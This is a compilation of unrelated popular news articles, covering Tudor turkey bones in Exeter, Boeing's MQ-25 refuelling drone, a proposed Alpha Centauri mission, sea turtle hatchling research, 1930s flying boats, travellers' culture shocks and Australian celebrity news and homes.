FIRST TURKEYS IN ENGLAND England was first introduced to turkeys in 1524 by William Strickland, a member of Parliament in the reign of Elizabeth the first, following a voyage to the Americas. Strickland brought six turkeys from Native American traders, and after he sailed back with them to Bristol, which is 80 miles away from Exeter, sold them for tuppence each. Turkeys would have been a rare sight when they first appeared in England, and the first birds are likely to have been kept as pets, rather than served as food. But by 1550, turkeys were commonly eaten at Christmas dinners. Popular history even suggest that Henry VIII may have had turkey for Christmas. Strickland continued to import wild turkeys, which were eaten by Native Americans, who used their feathers for ceremonial purposes such as headdresses and robes. He adopted the turkey as the symbol on his family crest in 1550, reported to be the first depiction of turkey in Britain. The church where Strickland is buried has images of turkeys in stained-glass windows, a carved lectern and stone sculptures on the walls. Advertisement

'This is an important discovery and could allow more research to be carried out about early domestic breeds and how the turkey has changed genetically since the 16th century.'

Further analysis has revealed that the bones were butchered and probably eaten as part of a feast by wealthy people.

Also found at the site were the remains of a veal calf, several chickens, at least one goose and a sheep.

Malene Lauritsen, one of the researchers who worked on the study, said: 'What is exciting about these turkey bones found in Exeter is that they date from almost exactly the same time as the first birds came to England.

'Their age certainly means it is possible that these are the remains of one of the first turkeys to come to England, or a turkey bred from this group.

'I have found cut marks on the bones, showing the birds were butchered.

'We can only guess at who ate them, and for what reason, but turkey would have been very expensive and the same household certainly ate other pricy meat too, so this must have been a special occasion.'

Strickland continued to import wild turkeys, which were eaten by Native Americans, who used their feathers for ceremonial purposes such as headdresses and robes.

Further analysis has revealed that the bones were butchered and probably eaten as part of a feast by wealthy people. The bones are now on display at the Royal Albert Memorial Museum & Art Gallery (RAMM) until February 2020

He adopted the turkey as the symbol on his family crest in 1550, reported to be the first depiction of turkey in Britain.

The village church where Strickland is buried has images of turkeys depicted in stained-glass windows, a carved lectern and stone sculptures on the walls.

The bones are now on display at the Royal Albert Memorial Museum & Art Gallery (RAMM) until February 2020.

While many of us enjoy turkey as part of our annual Christmas dinner, the animals have only been in the UK since 1524, when they were brought over from the Americas

Mr Tom Cadbury, Assistant Curator at the museum, said: 'This is a fascinating discovery and really shows what an international place Tudor Exeter was.

'RAMM already displays some of the Spanish, German and Italian pottery and glassware found on the site, perhaps the turkey dinner was eaten off one of these.

'RAMM welcomes research on the archaeological finds from Exeter in the museum; evidence such as this helps us uncover stories about the lives of past people in Exeter.'
Boeing's defence arm has unveiled a radical unmanned drone that can refuel fighter jets in mid air.

The small, unnamed craft will be carried on warships and catapulted into the air in the same way fighter jets are.

It will be able to refuel the F/A-18 Super Hornet, EA-18G Growler, and F-35C fighters - and means they can stay at the battlefront for far longer.

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Boeing's MQ-25 unmanned aircraft system is completing engine runs before heading to the flight ramp for deck handling demonstrations next year. The aircraft is designed to provide the U.S. Navy with refueling capabilities for the F/A-18 Super Hornet, Boeing EA-18G Growler, and Lockheed Martin F-35C fighters

HOW IT WILL WORK The MQ-25 'Stingray' will be launched from the deck of a warship using the same catapult used to launch fighter jets. The unmanned craft will be able to fly to a safe area near the battlefront and refuel aircraft in the air. It will be able to deliver about 15,000 pounds of fuel 500 nautical miles from the carrier. Human operators aboard the carrier will be able to direct the drone via radio and satellite. On deck, the crew will remotely guide the aircraft around planes and people using a handheld controller. Advertisement

The aerospace giant's defence arm teased the new craft, covered in a black cloth, on Twitter earlier this week, boasting it will 'change future air power'.

Many had believed it was a radical new craft using electric 'hairdryer' to allow it to land and take off vertically - a project Boeing is still believed to be working on.

'Boeing's MQ-25 unmanned aircraft system is completing engine runs before heading to the flight ramp for deck handling demonstrations next year,' the aerospace giant said.

'The aircraft is designed to provide the U.S. Navy with refueling capabilities that would extend the combat range of deployed Boeing F/A-18 Super Hornet, Boeing EA-18G Growler, and Lockheed Martin F-35C fighters.

The new craft will compete in a US Navy contest to find a refuelling drone.

The craft, seen hidden under a cloth, was at first believed to be a radical new craft using electric 'hairdryer' to allow it to land and take off vertically.

Through its MQ-25 competition, the Navy is seeking unmanned refueling capabilities that would extend the combat range of deployed Boeing F/A-18 Super Hornet, Boeing EA-18G Growler, and Lockheed Martin F-35C fighters.

The MQ-25 will also have to seamlessly integrate with a carrier's catapult and launch and recovery systems, allowing it to use all of the same systems as the fighter jets it will refuel.

'Boeing has been delivering carrier aircraft to the Navy for almost 90 years,' said Don 'BD' Gaddis, a retired admiral who leads the refueling system program for Boeing's Phantom Works technology organization.

'Our expertise gives us confidence in our approach.

'We will be ready for flight testing when the engineering and manufacturing development contract is awarded.'

Boeing's entry will compete against craft from Lockheed Martin and General Atomics to win a lucrative US Navy contract. Pictured, General Atomics bid for the contest.

The UAS is completing engine runs before heading to the flight ramp for deck handling demonstrations early next year.

The Navy issued its final request for proposals in October, and proposals are due Jan. 3rd.

A contract award is expected in September 2018, and The Pentagon has earmarked $2.16 billion for the Navy drone program through fiscal 2021, though the contract's total value would be larger.

'The MQ-25 will give us the ability to extend the air wing out probably 300 or 400 miles beyond where we typically go,' Air Boss Vice Adm. Mike Shoemaker said in the September issue of Proceedings.

'That will extend the reach of the air wing, and when we combine that with additional weapons we are buying, we will get an impressive reach.'

While the Navy has been reluctant about the specific goals of the program, the service's basic requirements will have the Stingray deliver about 15,000 pounds of fuel 500 nautical miles from the carrier.

BOEING'S PHANTOM SWIFT Many had thoguht the project could be boeing's Phantom Swift - which the firm is still believed to be developing. Boeing's Phantom Swift was a Boeing Phantom Works program that was being developed for the Defense Advanced Research Projects Agency (DARPA) under the VTOL X-Plane competition - but was ultimately beaten by Aurora's entry. Boeing's Phantom Swift: The design leverages two large fans buried in the aircraft's fuselage to provide vertical lift and a pair of swiveling wingtip fans for stability and control during hover and for propulsion during forward flight. The design leverages two large fans buried in the aircraft's fuselage to provide vertical lift and a pair of swiveling wingtip fans for stability and control during hover and for propulsion during forward flight. The idea is to have one or two General Electric CT7-8 turbines produce power to drive all these fans electrically, although an early prototype might not include a full hybrid electric drive system. Boeing says this configuration is far more efficient than a normal helicopter and DARPA's original design goals included hitting speeds beyond 300 knots and carry 4,000lbs. The design leverages two large fans buried in the aircraft's fuselage to provide vertical lift Advertisement

Earlier this year, the first prototype of the LightningStrike, Darpa's vertical take-off and landing experimental aircraft project took to the air - and maybe of its capabilities could be in the new craft.

The current effective strike radius of a Super Hornet is about 450 miles, and the MQ-25 could extend the range to more than 700 nautical miles.

Of the four companies vying for the business, General Atomics has released the first complete images of its planned bid for Stingray.

Before the unveiling, speculation has so far said it could anything from a new spaceplane to an electric fighter jet.

Earlier this year Boeing bought Aurora Flight Sciences Corp, which is developing the autonomous, electric-powered and long-flight-duration aircraft for its commercial and military businesses.

Last year, Aurora won a contract for more than $89 million for the vertical take off and landing X-plane, beating Boeing in the process.

Aurora has designed, produced and flown more than 30 unmanned air vehicles since its inception and has collaborated with Boeing on the rapid prototyping of innovative aircraft and structural assemblies for both military and commercial applications during the last decade.

The radical design combines fixed-wing technology from planes with rotary-wing technology from helicopters.

It has two large rear wings and two smaller front canards, short wings mounted near the nose of the aircraft.

BOEING'S SECRET SPACEPLANE The mysterious X-37b spaceplane has captured the imagination of many, with some suggesting it is a spy plane and others who think it could be a space bomber. But now its big brother is one step closer to being built. The project, known as XS-1, is expected to debut in 2020, and military bosses claim it will 'bolster national security by providing short-notice, low-cost access to space.' Advertisement

The engine would drive 24 ducted fans, nine integrated into each wing and three inside each canard.

Aurora, the firm behind the radical craft, previously told Defence One 'there's quite a bit of interest' in a laser-armed version of the drone, particularly for use in Marine Corps missions.

Aurora Flight Sciences said the subscale version proved the radical theory behind the craft.

The subscale aircraft weighs 325 pounds and is a 20% scale flight model of the full scale demonstrator Aurora will build for Darpa in the next 24 months.

Boeing, meanwhile, was developing its own VTOL, known as Phantom swift - and the new craft could be a hybrid of them both.

'The aerospace industry is going to be changing' and the acquisition positions Boeing strategically 'for whatever that future may be,' Boeing Chief Technology Officer Greg Hyslop said on a conference call with reporters.

The deal could face regulatory obstacles, but the company hopes to complete the purchase this year, Hyslop said.

THE AURORA 'HAIRDRYER' SPECS Aurora, the firm recently bought by Boeing, was developing a radical 'hairdryer' VTOL that could form the basis of the new craft. It can: Achieve a top sustained flight speed of 300 knots (556 km/h) to 400 knots (741km/h). Raise aircraft hover efficiency from 60 per cent to at least 75 per cent. Present a 'more favourable' cruise lift-to-drag ratio of at least 10, up from 5-6. Carry a useful load of at least 40 per cent of the vehicle's projected gross weight of 10,000-12,000 pounds (4,500-5,444kg). Perform flight tests in 2018 Advertisement

Boeing's move could help Zunum Aero, a Seattle-area company aiming to bring a hybrid-electric regional airliner to market in 2022. Boeing and JetBlue Airways Corp have both made venture capital investments in Zunum.

Boeing will maintain Manassas, Virginia-based Aurora as a separate unit reporting through Boeing's engineering, test and technology division, which is headed by Hyslop.
It is our nearest star system - and holds huge potential for find life.

Now, a NASA team has revealed it has started planning for a mission to Alpha Centauri - and hope it could blast off on the 100th anniversary of Apollo 11 in 2069.

However, there is one slight issue - the team say most of the technology they need to get there doesn't exist yet.

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The JPL team has not yet worked out how to power the craft - and many of their ideas rely on technology that doesn't yet exist, such as this laser sail being developed by the Breakthrough project, which hopes to make to same trip to Alpha Centairi.

HOW WILL IT WORK? The JPL team has not yet worked out how to power the craft - and many of their ideas rely on technology that doesn't yet exist. Alpha Centauri is 4.4 light-years away, or nearly 40 trillion kilometers - and the fastest spacecraft so far launched into space, the NASA-Germany Helios probes, traveled at 250,000 kilometers per hour. At that speed, it would take the probes 18,000 years to reach the nearest star to the sun. To get there in anywhere close to a human lifetime, spacecraft will need to travel a substantial fraction of light-speed10% would get a craft to Alpha Centauri in 44 years. Idea to do this include: Antimatter-matter collisions Nuclear propulsion systems Laser-powered light sails Advertisement

'It's very nebulous,' Anthony Freeman at JPL, who presented the mission concept at the 2017 American Geophysical Union conference in New Orleans, Louisiana, on 12 December, told New Scientist.

A 2016 US funding bill told NASA to study interstellar travel that could reach at least 10 per cent of the speed of light by 2069.

It also directed the agency to launch a mission to Alpha Centauri, the nearest star system to ours.

Currently only one human-made spacecraft has left our solar systemVoyager 1, which launched 40 years ago and is currently traveling at about 38,000 miles per hour, less than 1 percent of 1 percent of the speed of light.

The team say the probe's primary goal will be to determine whether life is present.

It will scan for artificial structures, lights going on and off, and large-scale land modification.

However, the team still has to work out how to get the probe there.

Alpha Centauri is 4.4 light-years away, or nearly 40 trillion kilometers - and the fastest spacecraft so far launched into space, the NASA-Germany Helios probes, traveled at 250,000 kilometers per hour.

At that speed, it would take the probes 18,000 years to reach the nearest star to the sun.

To get there spacecraft will need to travel a substantial fraction of light-speed10% would get a craft to Alpha Centauri in 44 years.

To do this, researchers are investigating a range of technologies, from laser powered 'light sails' to advanced nuclear propulsion systems, including one called a Bussard ramjet, which uses electromagnetic fields to scoop up hydrogen from the interstellar medium as it travels along, compressing it sufficiently for nuclear fusion to occur, providing thrust to drive the craft forward.

For light sails, a ground-based light beamer would push ultra-light nanocrafts  miniature space probes attached to lightsails  to speeds of up to 100 million miles an hour - a technolgoy also being developed by the Breakthrough project.

Our solar system's nearest neighbour could be home to small, rocky planets much like Earth, according to a new study. The new understanding could help to narrow down the search for habitable worlds just 4.4 light years away. An artist's impression is pictured

ALPHA CENTAURI The Alpha Centauri star system is 25 trillion miles (4.37 light years) away. With today's fastest spacecraft, it would take about 30,000 years to get there. Breakthrough Starshot aims to establish whether a gram-scale nanocraft, on a sail pushed by a light beam, can fly over a thousand times faster. Astronomers estimate that there is a reasonable chance of an Earth-like planet existing in the 'habitable zones' of Alpha Centauri's three-star system. Advertisement

The JPL group has already drafted science goals for the mission, including studying the make-up of the matter and radiation it encounters, and testing general relativity on the way.

It will first make observations of the planetary system, the atmosphere and landscape of the target exoplanet.

'We'll be able to characterise the atmosphere. We'll be able to see the planet, assuming it's not covered in clouds,' JPL's Stacy Weinstein-Weiss, lead author of the paper outlining the concept, told New Scientist.

The current plan calls for NASA to send a large telescope to deep space were it would position itself so that light from Alpha Centauri grazes our sun, using a technique called gravitational lensing can give us a full view of the exoplanet.

NASA is also considering targets other than Alpha Centauri.

However, recent research has said our solar system's nearest neighbour could be home to small, rocky planets much like Earth, according to a new study.

A new analysis of the nearby Alpha Centauri system has revealed there may not be as many larger planets orbiting the two main stars as previously thought  instead, small, Earth-like planets are likely the most common kind.

According to the researchers, the new understanding could help to narrow down the search for habitable worlds just 4.4 light years away.

Alpha Centauri sits just 24.9 trillion miles, or about 4.4 billion light-years, and is the closest solar system to our own. It's home to three stars: Centauri A, Centauri B, and Proxima Centauri. An artist's impression is pictured

The new study led by a team of Yale astronomers rules out the existence of a number of larger planets in the system.

While these larger planets were previously predicted in other models, data from more advanced spectrographic instruments suggests a different scenario may be at play.

'The universe has told us the most common types of planets are small planets, and our study shows these are exactly the ones that are most likely to be orbiting Alpha Centauri A and B,' said leading exoplanet researcher, Professor Debra Fischer.

Alpha Centauri sits just 24.9 trillion miles away, or about 4.4 billion light-years, and is the closest solar system to our own.

It's home to three stars: Centauri A, Centauri B, and Proxima Centauri.

And, just last year, scientists revealed they'd spotted an Earth-like planet circling Proxima Centauri.

BREAKTHROUGH STARSHOT The project involves deploying thousands of tiny spacecraft to travel to our nearest star system and send back pictures. If successful, scientists could determine if Alpha Centauri, a star system about 25 trillion miles away, contains an Earth-like planet. The catch: It could take years to develop the project, dubbed Breakthrough Starshot, and there is no guarantee it will work. The small light-propelled vehicles will carry equipment like cameras and communication equipment. This involves a ground-based light beamer pushing ultra-light nanocrafts  miniature space probes attached to lightsails  to speeds of up to 100 million miles an hour. Such a system would allow a flyby mission to reach Alpha Centauri in just over 20 years from launch. Breakthrough Starshot aims to demonstrate proof of concept for ultra-fast light-driven nanocrafts, and lay the foundations for a first launch to Alpha Centauri within the next generation. Along the way, the project could generate important supplementary benefits to astronomy, including solar system exploration and detection of Earth-crossing asteroids. Scientists hope the vehicles, known as nanocraft, will eventually fly at 20 per cent of the speed of lightt. 'The thing would look like the chip from your cell phone with this very thin gauzy light sail,' said Nasa's Pete Worden 'It would be something like 10, 12 feet across.' He envisions sending a larger conventional spacecraft containing thousands of nanocraft into orbit, and then launching the nanocraft. If they reach the star system and succeed in taking photographs, it would take about another four years to transmit them back. Advertisement

'Because Alpha Centauri is so close, it is our first stop outside our solar system,' Fischer said.

'There's almost certain to be small, rocky planets around Alpha Centauri A and B.'

In the new study, the team looked at data from a new wave of instruments in Chile, including the spectrograph CHIRON, which was built by Fischer's team, HARPS, and UVES, part of the Very Large Telescope Array.

'The precision of our instruments hasn't been good enough, until now,' Fischer said.

According to the researchers, small, rocky planets would have gone undetected in spectrographic analysis.

This means there could be planets smaller than 50 Earth masses that were overlooked, orbiting Alpha Centauri A.

And, there could be orbiting planets smaller than 8 Earth masses orbiting Alpha Centauri B.

Around Proxima Centauri, there may be orbiting planets that are less than one-half Earth's mass.

The new study also eliminated the possibility of large, Jupiter-sized planets that could give rise to asteroids and alter the orbits of smaller planets, the researchers say.

'This is a very green study in that it recycles existing data to draw new conclusions,' said first author Lily Zhao.

'By using the data in a different way, we are able to rule out large planets that could endanger small, habitable worlds and narrow down the search area for future investigations.'
Once a baby sea turtle hatches from its egg, the lure of the ocean is immediate; hatchlings make the trek from their nest to the water within the first 24 hours, in whats known as a frenzy period.

The journey itself should take just minutes, but disorientation along the way can cause the freshly hatched turtles to spend hours crawling through the sand.

In a new study using specially designed mini-treadmills and swimsuits, conservationists observed how hatchlings cope with disorientation  and, they were shocked to find the young turtles are crawling machines.

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Sea turtle hatchlings are thought to follow the brightest low horizon to get to the ocean  so, the researchers simulated this lighting to guide their path, using tiny treadmills to track their movements. The hatchlings were released back to the ocean shortly after

HOW THEY DID IT Sea turtle hatchlings are thought to follow the brightest low horizon to get to the ocean  so, the researchers simulated this lighting to guide their path. After walking on the treadmill, the hatchlings were fitted with a tiny swim suit and placed into a small tank, where the team measured their breathing rates and stroke rates. For both scenarios, the researchers also measured their oxygen consumption and lactate accumulation. In addition to the laboratory experiments, the researchers conducted a number of field studies, to see how the hatchlings behaved in a natural setting, and how disorientation affected their frenzy. They then compared the results from both settings, revealing the lab studies matched the field studies. Advertisement

What prompted our study was the desire to understand what happens to these hatchlings after they spend hours crawling on the beach because they are disoriented, said lead author Sarah L Milton, PhD, associate professor of biological sciences in Florida Atlantic Universitys College of Science.

We wanted to know if they would even be able to swim after crawling 500 meters or more, which could take them as long as seven hours to complete.

The team observed 150 hatchlings collected just as they emerged from nests in Palm Beach Country.

The hatchlings came from 27 loggerhead turtle nests and 18 green turtle nests, and were released back to the ocean shortly after.

To study their movements, the researchers used tiny enclosed treadmills.

Sea turtle hatchlings are thought to follow the brightest low horizon to get to the ocean  so, the researchers simulated this lighting to guide their path.

After walking on the treadmill, the hatchlings were fitted with a tiny swimsuit and placed into a small tank, where the team measured their breathing rates and stroke rates.

For both scenarios, the researchers also measured their oxygen consumption and lactate accumulation.

In addition to the laboratory experiments, the researchers conducted a number of field studies, to see how the hatchlings behaved in a natural setting, and how disorientation affected their frenzy.

And, after comparing the two, the researchers were shocked to find the hatchlings were far more physically capable than previously suspected.

We were completely surprised by the results of this study, Milton said.

We were expecting that the hatchlings would be really tired from the extended crawling and that they would not be able to swim well.

After walking on the treadmill, the hatchlings were fitted with a tiny swimsuit and placed into a small tank, where the team measured their breathing rates and stroke rates

It turned out not to be the case and that they are in fact crawling machines. They crawl and rest, crawl and rest and thats why they werent too tired to swim.

Still, the researchers warn that disorientation may have other consequences for the hatchlings.

While they may be able to crawl for hours and still manage to swim, spending prolonged periods on the beach puts them at risk of being eaten or injured.

One of the goals of the Florida Fish and Wildlife Conservation Commission is to reduce hatchling disorientation and our study provides the scientific basis to support lighting ordinances during turtle hatching season, said Milton.

We all need to do our part in helping to conserve these incredible animals.
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Sometimes it seems as if the airlines of today are playing catch-up with the airlines of yesteryear.

Carriers such as Singapore Airlines, Emirates and Qatar have all recently unveiled first-class and business-class suites featuring beds in compartments  but vintage pictures reveal that this kind of luxury was standard in the 1930s, and on flying boats no less.

Of course, they were much noisier, but these incredible machines featured plush armchairs, dining rooms festooned with fine china, dressing rooms and separate bathrooms for men and women.

A Boeing 314 Clipper flying boat owned by Pan Am called Yankee Clipper. It sits in the water off Calshot Castle in Southampton in the UK after completing a transatlantic crossing

The Hawaii Clipper flying boat is greeted on its first arrival in the Philippines from San Francisco in October 1936

And even honeymoon suites.

Flying boats had a special fuselage that meant they were capable of landing and taking off on water  not to be confused with floatplanes, which use pontoons for buoyancy  and have their origins in the 19th century.

The first patent for a flying machine with a boat hull was filed by Frenchman Alphonse Penaud in 1876.

The flying boats looked very different to the airlines of today, with the rich and glamorous travelling in luxury surroundings

When food was served on board, wealthy passengers were able to sit at restaurant-style tables and chairs and eat their meals using fine china

Hull of a way to travel: The clubhouse-style interior of the Clipper Yankee. US president Franklin D Roosevelt and UK Prime Minister Winston Churchill are both known to have used Clipper services

But it was in the 1930s that they really took off, with Pan Am and the former British Overseas Airways Corporation (BOAC) operating Clippers built by the Glenn L Martin Company and Boeing that took travellers across the Atlantic and to the far-flung islands of the Pacific.

Suddenly, journeys that would have taken weeks by boat became overnight trips.

But they werent cheap.

A one-way ticket from San Francisco to Hong Kong could cost as much $760, the equivalent of up to $13,000 (9,600) today.

But for that money passengers were cocooned in flying hotels.

Unsurprisingly, the services attracted passengers with global status, with US president Franklin D Roosevelt and UK Prime Minister Winston Churchill both known to have used Clipper services.

A boy and a girl pass the time by playing a game on board the Pan Am Martin Clipper

The flying boats also came complete with bunk beds in sleeping compartments with some aircraft even having honeymoon suites on them. Pictured left is a passenger being served breakfast in bed

Two passengers playing chess in a Pan American Clipper seaplane in October 1936. These planes plied the Pacific routes between San Francisco and Hong Kong, Hawaii, and Manila

But the outbreak of the Second World War slowed down the production of the flying boats - and flying technology advanced.

By the end of the war, more airports were built with longer runways meaning planes did not need to land in the sea - almost rendering the flying boats useless.

And in 1946, the California Clipper became the last Pan Am flying boat to be retired after clocking up more than one million flight miles.

Passengers relax in the main salon on the Pan Am Martin Clipper. A one-way ticket from San Francisco to Hong Kong could cost as much $760, the equivalent of up to $13,000 (9,600) today

A flight attendant prepares the meals on board a Pan Am clipper. The outbreak of the Second World War slowed down the production of the flying boats

Most of the Boeing 314 fleet was then scrapped bar three of the aircraft, which were lost to accidents.

However, the only one that resulted in fatalities was in 1943 when the Yankee Clipper crashed on landing at Cabo Ruivo Seaplane Base in Lisbon.

The crash killed 24 of the 39 on board, including prominent American author and war correspondent Benjamin Robertson.

Now the only way to get a taste of life on a flying boat is to visit the life-size mock-up at the Foynes Boat Museum in County Limerick in Ireland.
Travelling to a new country often means immersing yourself in the local way of life.

But for some people, the country they are travelling to has conventions and habits that leave them rather shocked.

We know this because they've been revealing what's left them scratching their heads on an internet forum - and it seems that toilet habits and eating out are two of the biggest topics.

Travellers have been revealing their biggest culture shocks, with toilet habits a common theme

The revelations came after this question was posed on Quora: 'What is the biggest culture shock you have ever faced?'

Serbian Milorad Boti revealed that he was left gobsmacked after visiting the bathrooms in a shopping mall in Germany while on a school trip.

He explained: 'We were in Dresden and the teachers let us have some free time. We went to a shopping mall, which wasnt anything special. We have those in Serbia. Thing that was special though are their toilets.

'Of course Im talking about rotating toilet seats [where the lid is rotated through a cleaning arm]. That was the best thing that happened on that school trip.'

While Leong Shu Yi was left shocked when visiting toilets for the first time in Taiwan after travelling there to study.

She added: 'They do not flush used toilet papers. I am so surprised they throw the toilet papers in the rubbish bin with toilet papers overflowing. They commonly believe that used toilet paper would clog the toilet.'

And the way people from different countries behave in restaurants also gave rise to raised eyebrows.

One Indian traveller was left shocked that people in Europe go to restaurants to socialise as well as eat

Kaushal Barot, who is from India couldn't believe that people would go to restaurants in Europe as a way of socialising.

He explained: 'People eat out at restaurants to have some quality time with friends and family. They will order a drink and sit for hours and talk to each other and after sometime they will order a meal. A family dinner on a weekend may last up to three hours easily.

'In India, people go out to eat, just eat. They sit in a restaurant, order food, food arrives, 20 minutes and dinner is over. In that 20 minutes, everybody concentrates on eating, they barely talk.'

While Sophia Ellis, who moved from the US to Barcelona added: 'People do not hang out at home.

'All hours of the day and night, every day of the week people are out at restaurants and cafes socialising. You rarely go to someones home to spend time.'

Meanwhile Joe Dawson, also from the US, couldn't believe people would eat a five course meal at 9pm in Italy while fellow American Dennis Hoffman was shocked that in Norway, they only bring the bill if you request it.

And Ali Zaidi was left perplexed in Singapore when people reserved tables in cafes by putting a packet of tissues down on top of them.

Elsewhere Aditi Verma said her biggest culture shock was being handed a glass of red wine while at a work event in Bristol, England.

Another tourist was left shocked in Sweden after realising nobody carries cash

She explained: 'This was something I had only seen in Western television/Hollywood. Being an Indian, alcohol at work events was not something I was familiar with.

'As far as I knew, it was only acceptable at office parties and on special occasions.'

Money also baffled some travellers with Syazwani Baumgartner confused by people in Turkmenistan not keeping any of their money in banks.

While Indian Karthik Chandrasekaran was shocked by how cashless Sweden was, explaining that most people used a credit or debit card to pay for something.
It didn't take long for the Australian public to give him the nickname 'Osh' after he announced he was no longer going by Andrew G.

But Osher Gunsberg has had to shelve that nickname, based on friendly advice from Bachelor winner Snezana Markoski.

Speaking to The Wine O'Clock Show last week, he revealed Snezana would giggle when she heard the host called 'Osh' before eventually confronting him about it.

'You can't say it on TV!' The Bachelor's Osher Gunsberg reveals his nickname 'Osh' means something VERY rude in Maltese... and he didn't realise until Snezana Markoski told him!

The topic came up during the program after host Tam Wrigley asked: 'What are you doing for Christmas this year Osh?'

'Just so you know, because it was Snezana who let me know, because she giggled every time someone said Osh,' he said.

'And I said to her: "is everything alright?" and she goes: "you should know what that means, in Maltese.'

FYI: Speaking to The Wine O'Clock Show last week, he revealed Bachelor contestant Snezana would giggle when she heard the host called 'Osh' before eventually confronting him about it

Responding to the intrigued host's probe, he continued: 'It's one of the words that you really, really can't say on television.'

'And it rhymes with "hunt".'

Tam burst into nervous laughter before adding: 'Oh my goodness! I'm never shortening another person's name's again!'

The confrontation: 'And I said to her: "is everything alright?" and she goes: "you should know what that [Osh] means, in Maltese'

Osher laughed: 'I've had emails and texts from people who go: "my grandma giggles like a school girl when these people say Osh".'

The Bachelor host first rose to prominence on Channel [V], where he went by 'Andrew G', solidifying his household name status on Australian Idol.

At the age of 38, he decided to change his name to 'Osher', which means happiness in Hebrew, while also going back to his full-length surname, 'Gunsberg'.

NSFW: Responding to the intrigued host's probe, Osher continued: 'It's one of the words that you really, really can't say on television'
It took nearly six decades for A Wrinkle in Time to make it to the big screen, but it was definitely worth the wait.

Time Magazine honored the diverse cast that includes Oprah, Mindy Kaling, Reese Witherspoon and Storm Reid with the cover of their December 25th issue titled, 2018: The year ahead.

Thanks to this film, director Ava DuVerrnay became the first African American woman to solo-direct a movie with a budget over $100 million.

Disney's A Wrinkle in Time opens in theaters on March 9, 2018.

About time: Time Magazine honored the cast of A Wrinkle in Time with their 2018: A Year Ahead cover to be released on December 25

The casting of the fantasy film's lead talent was a one of the most important decisions for the award-winning director to make.

'I wasnt just casting for actresses. I was casting for leadersicons,' she told the publication.

'Reese is the hottest producer in town. Oprahs the most prolific, venerable legend of television and an artist and entrepreneur. And Mindys one of the few women running a show with her name, about her.'

She added, 'When I think about the three of them together as a unit of celestial beings, it feels right.'

Coming soon: The Ava DuVernay directed film will open in theaters on March 9, 2018

Power: Oprah Winfrey portrayed the role of Mrs. Which alongside Mindy Kaling's Mrs. Who and Reese Witherspoon's Mrs. Whatsit

For the role of Meg Murry, DuVernay admits that early on Storm Reid became the benchmark for all other actors.

Reid, who has played small roles in 12 Years a Slave, earned the coveted spot beating out 69 other young, talented actresses. This is not something the starlet will take for granted.

'Before I got this role, I wanted there to be more little girls that look like me on TV and in lead roles,' she said.

The Atlanta-native added, '[the film is] about knowing that youre going to go through dark spaces in your life. Youre not going to be perfect, but the most important thing is not trying to please anybody. Its loving yourself inside out.'

New kid on the block: Storm Reid plays the savior of the universe in the Disney film

Inspiration: 'Before I got this role, I wanted there to be more little girls that look like me on TV and in lead roles,' she told the Time Magazine

Witherspoon, who took on the role of Mrs. Whatsit in the Disney film, discussed the importance of DuVernay's need for a diverse cast.

'Ive never seen somebody demand inclusiveness like that,' Witherspoon said.

'Its just a different perspective, and you dont get that unless we start to have powerful filmmakers of different colors, different genders. Youre just gonna have the same 20 dudes making the same 20 movies over and over and over again.'

Game changer: Time Magazine said A Wrinkle in Time 'will change Hollywood'

'Before I got this role, I wanted there to be more little girls that look like me on TV and in lead roles,' Reid said.

Oprah added, 'When you dont see yourself, there is a subconscious psychological manifestation. Its diminishing.'

But hopefully, once other little girls see Reid as Murry save the universe they ill be inspired.

Oprah concluded, 'That will have impact far beyond anything any marketer, any researcher, any of us even know.'
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They're the beloved TV personalities who are beamed into living rooms across the country every morning.

And despite setting their alarm clocks for a very early hour, the stars of our favourite breakfast programs head home to VERY plush abodes when their time on air is done.

From Larry Emdur's recently-sold cliff-top mansion to Karl Stefanovic's brand new bachelor pad, Daily Mail Australia takes a look at the homes of Sunrise, The Morning Show, Studio 10 and Today Show hosts.

Larry Emdur

The life of luxury! Daily Mail Australia takes a look at the stunning properties that morning show personalities such as Larry Emdur (pictured), Samantha Armytage and Sonia Kruger all live in luxurious homes

Jaw-dropping: Larry recently sold this cliff-top mansion, located in the ritzy Sydney suburb of Dover Heights, for a jaw-dropping $11.5 million.

New owner: The home, which features floor-to-ceiling windows and an infinity pool overlooking the ocean, was snapped up by celebrity accountant Anthony Bell

The popular Morning Show host, 53, recently sold his cliff-top mansion, located in the ritzy Sydney suburb of Dover Heights, for a jaw-dropping $11.5 million.

The home, which features floor-to-ceiling windows and an infinity pool overlooking the ocean, was snapped up by celebrity accountant Anthony Bell for the eight-figure sum.

Larry and wife Sylvie bought the property for $6.8 million back in 2011, and it's served as a fantastic family home for the couple and their children, Jye and Tia.

But with the kids now all grown u[, the couple have decided to relocate. No doubt, the long-term couple will choose an equally luxurious new home to serve as their empty nest.

Samantha Armytage

Two homes! Sunrise star Samantha Armytage owns a Sydney home and weekend estate

Room to entertain! The country property features five bedrooms and an open fire, and is the perfect place for the Sunrise star to unwind after her busy weeks

It was recently revealed Samantha Armytage makes less than her Sunrise co-host David Koch.

But the bubbly blonde still has enough cash to splash on some very posh properties.

During the week, the 41-year-old calls Bondi home, having purchased a two storey mansion in the iconic beachside suburb back in 2014.

On the weekends, however, Sam and her beloved pup Banjo hop into her Range Rover to take the two hour drive to her rural retreat.

The TV favourite purchased the sprawling weekender, which features five bedrooms and an open fire, for $2.2 million earlier in the year.

Sonia Kruger

Fancy address: Mum-of-one Sonia and her partner Craig McPherson live in luxury at their five-bedroom Mosman mansion

Compound:Sonia planned to add an indoor elevator and a rooftop entertaining area to her already decadent digs

Not getting on? Neighbours complained to council, claiming the redevelopment would 'require continuous policing from the proposed building contractor'

She's the hilarious host of Today Extra, known for her quick wit and upbeat nature.

So reports that the 52-year-old stunner was involved in a neighbourhood feud over plans to renovate her $6.5 million mansion might come as a surprise.

Mum-of-one Sonia and her partner Craig McPherson already live in luxury at their five-bedroom Mosman mansion, but planned to add an indoor elevator and a rooftop entertaining area to their decadent digs.

However, neighbours complained to council, claiming the redevelopment would 'require continuous policing from the proposed building contractor' and would create too much noise.

Sarah Harris

Her home is a (studio) 10! Sarah Harris lives in a multi-million dollar Cremorne home

What a contrast! Sarah grew up in public housing, but now lives in this stunning family home on the affluent North Shore

Perfect! The Studio 10 star just welcomed her second child with husband Tom Ward, and is no doubt enjoying the first days of new motherhood in her comfy pad

The Studio 10 star just welcomed her second child with husband Tom Ward, and is no doubt enjoying the first days of new motherhood at her home on Sydney's Lower North Shore.

Located in the exclusive suburb of Cremorne, Sarah's two-storey property was purchased by the couple for $2.1 million in 2015.

It's a far cry from Sarah's childhood, with the lovable star revealing earlier in the year that she grew up in public housing in Sydney's western suburbs.

